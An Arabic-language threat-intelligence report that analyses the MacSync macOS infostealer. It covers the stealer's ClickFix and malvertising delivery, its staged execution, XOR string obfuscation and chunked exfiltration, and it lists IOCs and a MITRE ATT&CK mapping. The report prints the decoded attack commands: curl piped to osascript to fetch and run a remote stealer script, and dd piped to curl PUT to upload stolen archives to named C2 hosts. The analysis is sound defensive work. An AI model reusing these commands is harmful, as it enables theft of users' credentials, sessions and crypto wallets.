ملخص تنفيذي
MacSync Stealer عبارة عن عائلة من برامج سرقة المعلومات الخاصة بنظام macOS وبرامج الوصول عن بعد المصممة لتجنب الكشف عنها وتباع تجاريًا بموجب نموذج البرامج الضارة كخدمة (MaaS).
في سلسلة الهجوم، تُعدّ ملفات MacSync الثنائية بمثابة أدوات تمهيد أصلية ومحركات استخراج بيانات متعددة الأجزاء. وبدلاً من كونها أدوات حصاد مستقلة، فإن حمولاتها عبارة عن ملفات تنفيذية خفيفة الوزن من نوع Mach-O ذات 64 بت، تنفصل بصمت عن جلسات الطرفية، وتحمّل وحدات استخراج بيانات الاعتماد مباشرة في الذاكرة، وتستخرج بيانات الاعتماد المسروقة بشكل موثوق إلى بنية الحملة التحتية.
يتم توفير MacSync بشكل أساسي من خلال كليك فيكس الهندسة الاجتماعية والإعلانات الخبيثة لمحركات البحث. يستخدم استراتيجية تنفيذ معيارية متعددة المستويات لتجاوز Apple Gatekeeper وXProtect و endpoint detection and response (EDR) أدوات مع الحفاظ على الحد الأدنى من المساحة التي تشغلها على القرص.
- تحويل الجلسة الخفية إلى جلسة تابعة: عند التنفيذ، يفصل MacSync نفسه عن جلسة التحكم الطرفية باستخدام استدعاءات النظام POSIX fork() و setsid(). ثم يعيد توجيه العملية إلى PID 1 (launchd) ويعيد توجيه stdin و stdout و stderr إلى /dev/null حتى لا تظهر رسائل الخطأ ومخرجات العملية في وحدة التحكم.
- إخفاء XOR أحادي البايت القائم على القوالبلتجنب التوقيعات الثابتة واستخراج السلاسل النصية تلقائيًا، تخفي ملفات MacSync الثنائية السلاسل النصية الوظيفية (بما في ذلك نقاط نهاية C2، ومعاملات سطر الأوامر، وعناوين واجهة برمجة التطبيقات، ومسارات الملفات المؤقتة) باستخدام فئة قالب C++ مضمنة (ObfuscatedString). ). في وقت التشغيل، يقوم البرنامج الثنائي بفك تشفير هذه السلاسل إلى مخازن مؤقتة محلية باستخدام عملية XOR أحادية البايت.
- مسار AppleScript الديناميكي في الذاكرة: يتجنب برنامج التجهيز كتابة نصوص استخراج بيانات الاعتماد على القرص. بدلاً من ذلك، يتصل بخوادم التحكم والسيطرة عبر بروتوكول HTTPS باستخدام رؤوس مخصصة (مثل api-key: ورموز الحملة) ويُمرر الاستجابة مباشرةً إلى /usr/bin/osascript عبر الإدخال القياسي. يسمح هذا للمهاجمين بتحديث حمولات برامج السرقة من جانب الخادم دون إعادة تجميع ملف العميل الثنائي
- تسريب البيانات المجزأة والمتسامحة مع الأخطاء بحجم 10 ميجابايت: لنقل الأرشيفات المسروقة الكبيرة (التي تحتوي على خزائن المتصفح، وسلاسل مفاتيح النظام، وقواعد بيانات محافظ العملات المشفرة)، يقوم MacSync بتقسيم الملفات إلى أجزاء بحجم 10 ميجابايت. ويستخرج كل جزء باستخدام أداة dd الأصلية، ثم يرفعها بالتتابع عبر طلبات HTTP PUT، مستخدمًا آلية التراجع الأسي لإعادة محاولة عمليات النقل الفاشلة.
- أجهزة مكافحة الأدلة الجنائية ذاتية التنظيف: يقوم برنامج التخزين المؤقت بتنظيف الملفات المؤقتة على القرص على الفور. بمجرد أن يُعيد خادم التحكم والسيطرة استجابة HTTP 200 تؤكد التحميل المُجزأ، يقوم البرنامج الخبيث بحذف ملف الحالة المحلي (/tmp/.httpcode) والأرشيف المُخزن مؤقتًا (/tmp/osalogging.zip).
أصول الجهات الفاعلة في التهديدات ونظام البرمجيات الخبيثة كخدمة (MaaS)
ظهر MacSync في عام 2025، مع تقارير عامة تربطه بـ Mac.C Stealer السابق وهوية المطور "Mentalpositive". Threat intelيتتبع برنامج Ligence شركة MacSync كعملية برمجيات خبيثة كخدمة (MaaS)، حيث توفر البرمجيات الخبيثة والبنية التحتية الداعمة لمجرمي الإنترنت الآخرين.
تشير الأدلة إلى وجود فصل واضح بين تطوير البرمجيات الخبيثة وعمليات الحملات. غالبًا ما تتضمن إصدارات MacSync معرّفات خاصة بالنشر، بينما تعتمد الحملات على إعدادات تسليم مُدارة بشكل مستقل وبنية تحتية خلفية متناوبة. حدد مركز أمن الإنترنت (CIS) علامة إصدار S3 مرتبطة بإصدار تابع، وقامت مايكروسوفت لاحقًا بربط أكثر من 30 نطاقًا بناءً على مسارات URI المتكررة، وخصائص الطلب، وعناوين مفاتيح API، وسلوك تسريب البيانات.
يعتمد توزيع برنامج MacSync الخبيث بشكل أساسي على الهندسة الاجتماعية بدلاً من استغلال الثغرات البرمجية. وتقوم الحملات بنشر البرامج الضارة من خلال الإعلانات الخبيثة، والتلاعب بنتائج محركات البحث، والمواقع الإلكترونية المخترقة، والبرامج المزيفة، وبرامج التثبيت المدعومة بالذكاء الاصطناعي، وصفحات ClickFix التي تخدع الضحايا لتنفيذ أوامر في Terminal.
على الرغم من أن الأبحاث العامة قد حددت آثار تطوير باللغة الروسية في بعض عينات MacSync، إلا أن هذه المؤشرات لا تكفي لنسب البرامج الضارة إلى جهة تهديد محددة أو عصابة إجرامية.
تتبع البنية التحتية المرتبطة أنماط سلوكية معينة ستظل سارية بغض النظر عن تغيير النطاقات. يتضمن السلوك الذي يُظهره نموذج MacSync وبرنامج التحميل طلبات C2 المُرسلة إلى /dynamic?txd= مع تعيين مفتاح API في رأس الطلب، بالإضافة إلى جمع البيانات محليًا قبل التحميل عبر /gate?buildtxd= مع معلمات upload_id و chunk_index و total_chunks.
الحملات التابعة: خدمة توصيل كليك فيكس
يُوزّع برنامج MacSync الخبيث عادةً عبر حملات ClickFix التي تستهدف مستخدمي نظام macOS. وبدلاً من استغلال ثغرات البرامج، تعتمد هذه الهجمات على الهندسة الاجتماعية لخداع الضحايا وحملهم على نسخ الأوامر وتشغيلها في تطبيق Terminal تحت ستار برامج التثبيت، أو اختبارات CAPTCHA، أو أخطاء التنزيل، أو مطالبات استكشاف الأخطاء وإصلاحها.
بينما تصف التقارير العامة حملات متعددة لـ MacSync ClickFix مع تغييرات في الطعوم وإعدادات التسليم والحمولات، فإن الأدلة الحالية لا تُظهر أن جميعها تنتمي إلى نفس الجهة الفاعلة للتهديد أو أن بنية MacSync التحتية تعمل مباشرة تحت ClearFake.
شبكة توزيع حركة المرور ClearFake / TDS
ينشر الشركاء أنظمة توزيع حركة المرور (TDS)، مثل Keitaro TDS، عبر مواقع الويب المخترقة وشبكات الإعلانات لتوجيه الزوار بناءً على نظام التشغيل الخاص بهم. من خلال فحص وكيل المستخدم للمتصفح، يُعيد نظام TDS توجيه زوار نظام Windows إلى سلاسل توزيع برامج LummaC2 أو Stealc أو Vidar الخبيثة ، بينما يُرسل زوار نظام macOS إلى قنوات عدوى MacSync ClickFix.
أساليب الهندسة الاجتماعية الخداعية وانتحال العلامات التجارية
تقوم حملات MacSync بانتحال شخصيات أدوات الإنتاجية والمراسلة وتطوير البرامج الشائعة لاستهداف المحترفين:
| علامة تجارية / تصميم منتحل | سيناريو الطعم الخادع | الهدف الديموغرافي |
| جوجل ميت / زووم | "خطأ في الميكروفون/الصوت: انقر فوق إصلاح لإصلاح برنامج تشغيل الصوت في نظام macOS." | موظفو الشركات الذين يعملون عن بعد، ومرشحو الوظائف الذين يتعرضون لعمليات احتيال أثناء المقابلات |
| كلود إيه آي / تشات جي بي تي | "قم بتنزيل برنامج Claude AI Desktop لنظام macOS / إصلاح اتصال WebSockets." | مهندسو البرمجيات، وباحثو الذكاء الاصطناعي، وعلماء البيانات |
| كلاود فلير / ترنستايل | "تحقق من أنك إنسان: افتح الطرفية والصق رمز التحقق." | حركة مرور الإنترنت العامة، متداولو العملات المشفرة، مستخدمو المنتديات |
| Docker / Notion / Cursor | إعلانات بحث جوجل مسمومة تعرض برامج تثبيت سطح مكتب مزيفة. | مطورو البرمجيات، ومهندسو DevOps، وقادة التقنية |
| TradingView / تطبيقات العملات الرقمية | "قم بتحديث محرك الرسوم البيانية الخاص بك لعرض بيانات السوق في الوقت الفعلي." | متداولو العملات المشفرة ذوو الثروات الكبيرة، ومستثمرو التمويل اللامركزي |
القياس عن بعد الجغرافي العالمي وتأثير الصناعة
القياس عن بعد الجغرافي
Threat intelتشير تقارير اليقظة إلى أن حملات MacSync تستهدف بشكل أساسي المناطق التي تشهد استخدامًا واسع النطاق لنظام macOS في المؤسسات، وقطاعات التكنولوجيا وتطوير البرمجيات، ومجتمعات العملات المشفرة أو Web3 النشطة. وتُظهر بيانات القياس عن بُعد لشهر أغسطس 2026 أن الولايات المتحدة تستحوذ على الحصة الأكبر من عمليات الكشف، تليها المملكة المتحدة، وألمانيا، واليابان، وكندا، وفرنسا، وسنغافورة، وأستراليا، والهند، وهولندا، ودول الشمال الأوروبي.

القطاعات الصناعية المستهدفة
| قطاع الصناعة | الأدوار المستهدفة الرئيسية | الأصول ذات القيمة العالية | ناقل التهديد / الطعم | التأثير التشغيلي |
| هندسة البرمجيات والشركات الناشئة في مجال التكنولوجيا | مطورو البرامج المتكاملة، ومهندسو DevOps، وباحثو الذكاء الاصطناعي | مفاتيح SSH الخاصة، ورموز AWS/GCP، وبيانات اعتماد GitHub/GitLab، وملفات .env | برامج خبيثة تنتحل شخصية Claude AI، وCursor IDE، وDocker Desktop، وNotion | الاستيلاء على الحوسبة السحابية، وسرقة الشفرة المصدرية، واختراق سلسلة التوريد |
| العملات المشفرة و Web3 | مطورو تقنية البلوك تشين، ومتداولو التمويل اللامركزي، وأعضاء المنظمات اللامركزية المستقلة، ومديرو الصناديق | بيانات خزائن MetaMask وPhantom وCoinbase وTronLink؛ ملفات محفظة Exodus/Electrum | روابط اجتماعات Web3 مزيفة، وتحديثات وهمية لـ TradingView | استنزاف المحفظة، وتحويلات الرموز غير المصرح بها، وسرقة مفاتيح العقود الذكية |
| قوة عاملة عن بعد في الشركة | الإدارة العليا، الموارد البشرية، المبيعات والتسويق | بيانات سلسلة مفاتيح macOS، ورموز Slack/Discord، وجلسات Google Workspace/Okta | إصلاحات وهمية لمشكلة الميكروفون أو الكاميرا في جوجل ميت/زووم | اختطاف الهوية، إساءة استخدام ملفات تعريف الارتباط الخاصة بالجلسات، تحويل الشبكة الداخلية |
| المقاولون الحكوميون والدفاعيون | موظفو ومتعاقدو SLTT | بيانات اعتماد بوابة الحكومة، وملفات تعريف VPN، وبيانات اعتماد الموظفين | الإعلانات الخبيثة لمحركات البحث، واختراق مواقع البلديات الإلكترونية | الوصول غير المصرح به إلى البلدية، وكشف بيانات حساسة للمواطنين |
| التكنولوجيا المالية والخدمات المالية | محللون ماليون، متداولون كميون، محاسبون | رموز جلسات الخدمات المصرفية، وبيانات اعتماد المحاسبة، وبيانات بطاقات الدفع | برامج عرض الفواتير المزيفة، و"إصلاحات" عرض ملفات PDF | الاحتيال المالي، والتحويلات البنكية غير المصرح بها للشركات |
سلسلة هجوم MacSync

- العدوى الأولية (خدعة ClickFix): يستخدم مطورو البرامج الضارة الإعلانات الخبيثة على محركات البحث حيث يبحث الضحايا عن برامج معينة. فينتقلون إلى صفحة الويب الخبيثة (مثل صفحة مزيفة). كلود منظمة العفو الدولية chatbot، تحديث أمان Apple, مُثبِّت محفظة العملات الرقمية), والذي يعرض رسالة خطأ تطلب من الضحية تنفيذ أمر في نافذة الطرفية (curl -s … | zsh).
- المرحلة 1 (برنامج تغليف Shell): يتم تشغيل البرنامج النصي الخبيث في بيئة الطرفية ويقوم على الفور بتشغيل العملية في الخلفية.
- المرحلة الثانية (حمولة Base64): يقوم البرنامج النصي المُغلِّف بفك ضغط حمولة خلفية (daemon_function) تُنفِّذ برنامج Mach-O الثنائي الأصلي (عيّنتنا: com.utils.Launcher).
- المرحلة 3 (سارق AppleScript الديناميكي): يقوم البرنامج الثنائي بإرسال استعلام إلى /dynamic?txd=… على خادم C2 باستخدام رأس مخصص (api-key: de62a2f4…) ثم يمرره مباشرةً إلى osascript. يطلب AppleScript كلمة مرور نظام المستخدم، ويسرق جميع بيانات سلاسل المفاتيح، ويفرغ قواعد البيانات، وملفات تعريف الارتباط الخاصة بالجلسة، ومفاتيح SSH، وجلسة Telegram، ومحافظ العملات المشفرة إلى /tmp/osalogging.zip.
- المرحلة الرابعة (العلاج بالجرذان مع المثابرة): تقوم الحمولة بتنفيذ برنامج Mach-O RAT آخر يستمر في استخدام الدليل ~/Library/LaunchAgents/ عن طريق إعادة تسمية نفسه باسم com.google.keystone.plist أو com.apple.sync.plist.
- المرحلة 5 (مساعد مركز الاتصالات): يستخدم برنامجًا مساعدًا موقّعًا مخصصًا لطلب الأذونات والحصول عليها لـ تسجيل الشاشة في نظام macOS.
- المرحلة السادسة (استخراج وإزالة القطع الأثرية): يكتشف برنامج Mach-O هذا وجود الملف /tmp/osalogging.zip، ويقسمه إلى أجزاء من 10 MB (0xA00000 بايت) باستخدام الأمر dd، يرسل البيانات باستخدام بروتوكول HTTP PUT إلى /gate?buildtxd=…ويحذف /tmp/osalogging.zip و /tmp/.httpcode.
تدفق التنفيذ الثنائي
توضح الصورة أدناه دورة حياة وقت التشغيل الكاملة لملف MacSync stager الثنائي من التنفيذ الأولي إلى التنظيف النهائي للقطع الأثرية.

تحديد الملفات والبيانات الوصفية الثابتة

خصائص الملفات الثابتة
| السمة | القيمة الثابتة | ملاحظة |
| اسم الملف | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | تسمية التجزئة SHA-256 |
| تنسيق الملف | ملف تنفيذي Mach-O 64 بت x86_64 | ثنائي رقيق (بنية واحدة) |
| ماخ-أو ماجيك | 0xFEEDFACF (MH_MAGIC_64) | رأس Mach-O ذو 64 بت |
| نوع المعالج / النوع الفرعي | CPU_TYPE_X86_64 (0x01000007) / ALL (0x00000003) | معمارية إنتل 64 بت |
| حجم الملف | بايت 38,800 | 0x9790 بايت |
| MD5 | 9678f71ea4cccbc3d511dc8d7f24b113 | تجزئة التشفير |
| SHA-1 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | تجزئة التشفير |
| SHA-256 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | تجزئة العينة الأولية |
| علامات التجميع | PIE، TWOLEVEL، BINDS_TO_WEAK، WEAK_DEFINES، NOUNDEFS | منصب تنفيذي مستقل |
| عنوان نقطة الدخول | 0x100000e30 (_main) | القسم __TEXT.__text |
تفاصيل توقيع الكود

| السمة | بعد التخفيض | ملاحظة |
| حالة التوقيع | توقيع مخصص (flags=0x2(مخصص)) | لا يوجد توقيع معرف مطور صادر عن Apple |
| معرّف التوقيع | com.utils.Launcher | معرّف توقيع الكود المضمن |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | تجزئة دليل التعليمات البرمجية |
| ملخص نظام إدارة المحتوى | d182eb7cba0ffa42d770d7b0d3499e49f24163a2662494ae615713c5f04b5260 | ملخص توقيع الشفرة |
| معرف الفريق | غير مضبوط | لا يوجد معرّف فريق مطوري Apple؛ يشير إلى توقيع مخصص |
إخفاء الخيوط واستعادة المفاتيح
الهندسة العكسية لمحرك التشفير
أظهر تحليل السلاسل النصية الثابتة الذي أُجري على الملف الثنائي الخام عدم وجود عناوين URL أو مسارات ملفات أو مراجع أوامر غير مشفرة. أما المراجع إلى _ main فقد أسفرت عن 19 مرجعًا إلى فئة قالب C++.
| السمة | بعد التخفيض |
| رمز مشوه | __ZNK16ObfuscatedStringILm…EE7decryptEv |
| الرمز المفكك | سلسلة مشوشة ::decrypt() const |
| نطاق العنوان | 0x100002350 - 0x100002740 |

تم تحديد مفتاح xor أحادي البايت: 0xAA (العشري: 170، الثنائي: 10101010).

لفك تشفير جميع سلاسل البايت المشفرة دون معرفة أي نص أصلي مسبقًا، يتم تشغيل البرنامج النصي المستقل التالي:

مخرجات برنامج فك التشفير

فك تشفير سلسلة XOR وتخطيط التخزين وتخطيط التخزين
عملية XOR للأجهزة (/tmp/.httpcode)
يوضح الجدول التالي العمليات الفعلية التي تجري داخل سجل وحدة المعالجة المركزية ecx (xor ecx, 0xaa) لمسار ملف الحالة الموجود في 0x100002a2e
| بايت # | سداسي عشري مشفر | مفتاح XOR | رمز سداسي عشري تم فك تشفيره | حرف |
| 0 | 0x85 | 0xAA | 0x2F | / |
| 1 | 0xDE | 0xAA | 0x74 | t |
| 2 | 0xC7 | 0xAA | 0x6D | m |
| 3 | 0xDA | 0xAA | 0x70 | p |
| 4 | 0x85 | 0xAA | 0x2F | / |
| 5 | 0x84 | 0xAA | 0x2E | . |
| 6 | 0xC2 | 0xAA | 0x68 | h |
| 7 | 0xDE | 0xAA | 0x74 | t |
| 8 | 0xDE | 0xAA | 0x74 | t |
| 9 | 0xDA | 0xAA | 0x70 | p |
| 10 | 0xC9 | 0xAA | 0x63 | c |
| 11 | 0xC5 | 0xAA | 0x6F | o |
| 12 | 0xCE | 0xAA | 0x64 | d |
| 13 | 0xCF | 0xAA | 0x65 | e |
| 14 | 0xAA | 0xAA | 0x00 | \0 |
يتم إنشاء المسار /tmp/osalogging.zip عبر القيم الحرفية للمكدس وفك تشفير XOR.
الهندسة العكسية _main – تخطيط الذاكرة وتحويلها إلى خدمة خلفية
إنشاء عنوان URL / إعداد نقطة النهاية: يقوم المثال بتحميل أجزاء متعددة من سلاسل عناوين URL (مثل https، http، asia.، usa.) في متغيرات المكدس المحلية. ثم يخصص مخزنًا مؤقتًا محليًا بحجم 128 بايت لبناء السلسلة فيه. يشير وجود أجزاء النطاقات الإقليمية وبروتوكولات HTTP(S) إلى أن نقاط نهاية الشبكة تُنشأ أو تُختار أثناء التشغيل، مما يحد من إمكانية رؤية عناوين URL الكاملة في التحليل الثابت.

تحويل العمليات إلى عمليات خلفية وإخفاء التدفق (0x100000e30 – 0x100000f54)

- تنفيذ الدالة _Fork() (0x100000e69): تنتهي العملية الأصلية بنجاح بإرجاع القيمة 0، ثم تخرج فورًا لتعيد التحكم إلى الطرفية. في هذه الأثناء، تُعاد العملية الفرعية إلى العملية الأصلية launchd التي تعمل بمعرف العملية 1.
- إنشاء جلسة _Setsid() (0x100000eb7): تنفصل العملية الفرعية عن الطرفية المتحكمة. تضمن هذه الخطوة عدم ارتباط العملية بأي جلسة.
- كبت التدفق (0x100000efe – 0x100000f48): تقوم العملية الفرعية بإعادة توجيه مدخلاتها ومخرجاتها القياسية وأخطائها القياسية إلى /dev/null. يتم ذلك باستخدام ثلاث استدعاءات للدالة _freopen(). كل استدعاء منها يعالج أحد التدفقات، مما يؤدي فعليًا إلى كبت أي نشاط إدخال أو إخراج.
الهندسة العكسية _main – استطلاع C2 الديناميكي و AppleScript في الذاكرة
فك تجميع Raw Binary Ninja عالي المستوى IL (0x100001070 – 0x100001300)

- 0xc8 في لغة التجميع هو 200 عشري (HTTP 200 OK).
- يحتوي sub_100001e20() على قالب الأمر الذي تم فك تشفيره: curl -k -s –max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript.
- يتم بث AppleScript مباشرة من curl إلى osascript بدون ملف نصي وسيط، ويتم توجيهه مباشرة من curl إلى ملف Apple الثنائي /usr/bin/osascript عبر الإدخال القياسي.
سمات التكوين الثابتة:
| السمة | بعد التخفيض |
| رمز الحملة (txd) | c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 |
| رمز مصادقة البوابة | api-key: de62a2f47d1c7dec2997f931a050a615 |
| المضيف الرئيسي | drivinguber.com |
| المضيف الاحتياطي | newsinweb.com |
| البادئات الإقليمية | آسيا / الولايات المتحدة الأمريكية |
سير عمل خط أنابيب التنفيذ
- تحقيق الصحة الأولية (drivinguber.com):

- تقييم الحالة: يقرأ /tmp/.httpcode عبر _fscanf(“%d”, &code) ويحذف /tmp/.httpcode.
- تنفيذ الأنابيب في الذاكرة (0x10000128e): إذا كان رمز الخطأ يساوي 200 (0xC8)، فسيتم تهيئته وتشغيله:

- التناوب الاحتياطي: في حالة فشل الخادم الأساسي، يتم التكرار عبر [https، http] [asia.، usa.] مع newsinweb.com الأساسي.
محرك تقسيم البيانات 10 ميجابايت ونظام ABI V

- التحقق من الهدف: يستدعي الأمر _stat$INODE64(“/tmp/osalogging.zip” &stat_buf). إذا لم يكن الملف موجودًا أو كان حجمه صفرًا، فإنه ينتهي بشكل صحيح (يعيد القيمة 0).
- قسمة العدد الصحيح على السقف:إجمالي عدد الأجزاء يساوي الجزء الصحيح من (حجم الملف زائد 0x9FFFFF مقسومًا على 0xA00000) (حجم الجزء الثابت هو 0xA00000 وهو 10,485,760 بايت أو 10 ميجابايت).
- معرّف الجلسة: تم الإنشاء باستخدام snprintf(upload_id, 0x40 “%ld-%08x” time(NULL) rand()).
خوارزمية إعادة المحاولة التكيفية مع التراجع

إعادة المحاولة حتى 8 مرات مع التراجع التكيفي: التأخير = (مؤشر_إعادة_المحاولة × 2) + 3 ثوانٍ (5 ثوانٍ، 7 ثوانٍ، 9 ثوانٍ، 11 ثانية، 13 ثانية، 15 ثانية، 17 ثانية، 19 ثانية)
أوامر النظام التي يتم تنفيذها عبر _system()
| # | تشغيل | نموذج التنسيق الذي تم فك تشفيره | الهدف |
| 1 | مسبار الصحة C2 | curl -k -s --max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” -o /dev/null -w “%%{http_code}” > %s 2>/dev/null | يتحقق من توافر C2 ويخزن رمز حالة HTTP في /tmp/.httpcode. |
| 2 | المرحلة 3: مرحلة الذاكرة | curl -k -s --max-time 12 -H “User-Agent: %s” -H “api-key: %s” “%s” | osascript | يقوم بتنزيل برنامج سرقة AppleScript عن بعد وتنفيذه من خلال osascript. |
| 3 | المرحلة السادسة: عملية هجرة مجزأة | dd if=%s bs=1 skip=%ld count=%ld 2>/dev/null | curl -k -s -X PUT –data-binary @- … | يقوم بتقسيم الملف /tmp/osalogging.zip إلى أجزاء بحجم 10 ميجابايت ويرفع كل جزء عبر HTTP PUT. |
عمليات معالجة الملفات الأصلية في نظام POSIX
| # | نوع العملية | استدعاء واجهة برمجة التطبيقات الأصلية | الهدف | الغرض التشغيلي |
| 6 | تفرع العملية | _شوكة() | لا يوجد | تخرج العملية الرئيسية فورًا لفصلها عن الجهاز الطرفي. |
| 7 | فصل الجلسة | _setsid() | لا يوجد | يُنشئ جلسة منفصلة جديدة؛ ويصبح الطفل برنامجًا مستقلاً. |
| 8 | إخفاء التدفق | _freopen(“/dev/null”, “r”, *___stdinp) | / ديف / لاغية | يقوم بكتم صوت المدخلات القياسية. |
| 9 | إخفاء التدفق | _freopen(“/dev/null”, “w”, *___stdoutp) | / ديف / لاغية | يقوم هذا الأمر بكتم الإخراج القياسي من curl و osascript. |
| 10 | إخفاء التدفق | _freopen(“/dev/null”, “w”, *___stderrp) | / ديف / لاغية | يقوم بإيقاف تشغيل الخطأ القياسي لمنع تنبيهات المحطة الطرفية. |
| 11 | التحقق من الملف | _stat$INODE64(“/tmp/osalogging.zip”, &stat_buf) | /tmp/osalogging.zip | يتحقق من وجود وحجم أرشيف البيانات التي تم جمعها قبل التحميل. |
| 12 | تنظيف الحالة | _unlink(“/tmp/.httpcode”) | /tmp/.httpcode | يقوم بمسح ملف رمز حالة HTTP المؤقت بعد التقييم. |
| 13 | تنظيف أرشيف الغنائم | _remove(“/tmp/osalogging.zip”) | /tmp/osalogging.zip | يقوم بمسح ملف ZIP الخاص بالبيانات المسروقة بعد عملية الاستخراج الناجحة. |
مؤشرات الاختراق (IOCs)
مؤشرات المضيف
| نوع المؤشر | بعد التخفيض | الوصف |
| تجزئة SHA-256 | 9ff32f7c0108e9d27a3b491edf04827b6ca025f44db68aeadc44eeb97c9aab11 | برنامج Mach-O Stager الثنائي الأصلي |
| تجزئة MD5 | 9678f71ea4cccbc3d511dc8d7f24b113 | برنامج Mach-O Stager الثنائي الأصلي |
| تجزئة SHA-1 | 59508d071661ea70fa5fcbe6f9e2fb72506e57df | برنامج Mach-O Stager الثنائي الأصلي |
| معرّف توقيع الكود | com.utils.Launcher | معرّف حزمة التوقيع المخصص |
| CDHash | d182eb7cba0ffa42d770d7b0d3499e49f24163a2 | تجزئة دليل التعليمات البرمجية |
| أرشيف مُعدّ مسبقًا | /tmp/osalogging.zip | أرشيف الحصاد الذي يحتوي على بيانات مسروقة |
| ملف الحالة | /tmp/.httpcode | ملف رمز استجابة HTTP مؤقت |
مؤشرات الشبكة
| نوع المؤشر | بعد التخفيض | الوصف |
| نطاق C2 (الرئيسي) | drivinguber.com | خادم التحكم والسيطرة للمرحلة 3 / المرحلة 6 |
| نطاق C2 (احتياطي) | asia.newsinweb.com | نقطة نهاية C2 احتياطية لمنطقة آسيا |
| نطاق C2 (احتياطي) | usa.newsinweb.com | نقطة نهاية C2 احتياطية لمنطقة الولايات المتحدة |
| نطاق الجذر C2 | newsinweb.com | نطاق الجذر الاحتياطي |
| رابط التحميل (URI) | /dynamic?txd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | بوابة حمولة AppleScript ديناميكية |
| عنوان URI (تحميل) | /gate?buildtxd=c4f70f37daae63fe47b0c92adf006f8cf50b6c522ad572a4014275cf979013a0 | بوابة تحميل PUT ثنائية مقسمة بحجم 10 ميجابايت |
| رأس طلب HTTP | api-key: de62a2f47d1c7dec2997f931a050a615 | رمز مصادقة الحملة |
| وكيل مستخدم HTTP | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36 | وكيل مستخدم مزيف |
رسم خرائط MITRE ATT&CK
| تكتيك | معرف التقنية | تقنية | تطبيق MacSync |
| الوصول الأولي | T1204.002 | تنفيذ المستخدم | يقوم برنامج ClickFix بخداع المستخدمين لتنفيذ أمر طرفي مُشفر. |
| التنفيذ | T1059.002 | ابليسكريبت | ينفذ حمولات AppleScript عن بعد عبر /usr/bin/osascript. |
| التنفيذ | T1059.004 | شل يونكس | ينفذ أوامر /bin/sh. |
| إصرار | T1543.001 | وكيل الإطلاق | يقوم بتثبيت ملف .plist خبيث في ~/Library/LaunchAgents/. |
| التهرب الدفاعي | T1027 | التشويش | XOR 0xAA يخفي السلاسل وعناوين URL. |
| التهرب الدفاعي | T1564.001 | الملفات المخفية | يستخدم ملفات تبدأ بنقطة للبيانات المؤقتة. |
| التهرب الدفاعي | T1070.004 | حذف ملف | يقوم بحذف الملفات المؤقتة بعد تحميل البيانات. |
| التهرب الدفاعي | T1036.005 | التنكر | يستخدم com.utils.Launcher ليبدو وكأنه مكون شرعي. |
| التهرب الدفاعي | T1562.001 | دفاعات ضعف | يقوم بإعادة توجيه stdin و stdout و stderr إلى /dev/null. |
| الوصول إلى بيانات الاعتماد | T1555.001 | سلسلة مفاتيح | يستخدم أداة "security dump-keychain" للوصول إلى بيانات الاعتماد المخزنة. |
| الوصول إلى بيانات الاعتماد | T1539 | ملفات تعريف الارتباط الخاصة بجلسة الويب | يستهدف قواعد بيانات ملفات تعريف الارتباط الخاصة بالمتصفح لسرقة الجلسات. |
| الوصول إلى بيانات الاعتماد | T1552.004 | مفاتيح خاصة | يجمع مفاتيح SSH وبيانات اعتماد AWS. |
| الاكتشاف | T1082 | نظام المعلومات | يجمع إصدار نظام التشغيل macOS، ومعرف الجهاز الفريد (UUID)، وبنية وحدة المعالجة المركزية (CPU). |
| التشكيلات | T1560.001 | أرشفة البيانات المجمعة | يتم أرشفة البيانات المسروقة في الملف /tmp/osalogging.zip. |
| القيادة والسيطرة | T1071.001 | بروتوكولات الويب | يتواصل مع خادم التحكم والسيطرة عبر بروتوكول HTTPS/443. |
| القيادة والسيطرة | T1105 | نقل أداة الدخول | يقوم بتنزيل وحدات AppleScript للمرحلة الثانية. |
| exfiltration | T1030 | حدود حجم نقل البيانات | يقسم الأرشيف إلى أجزاء بحجم 10 ميجابايت. |
| exfiltration | T1048.003 | البروتوكول البديل | يقوم بتحميل أجزاء ثنائية من خلال طلبات HTTP PUT. |
كاتب:



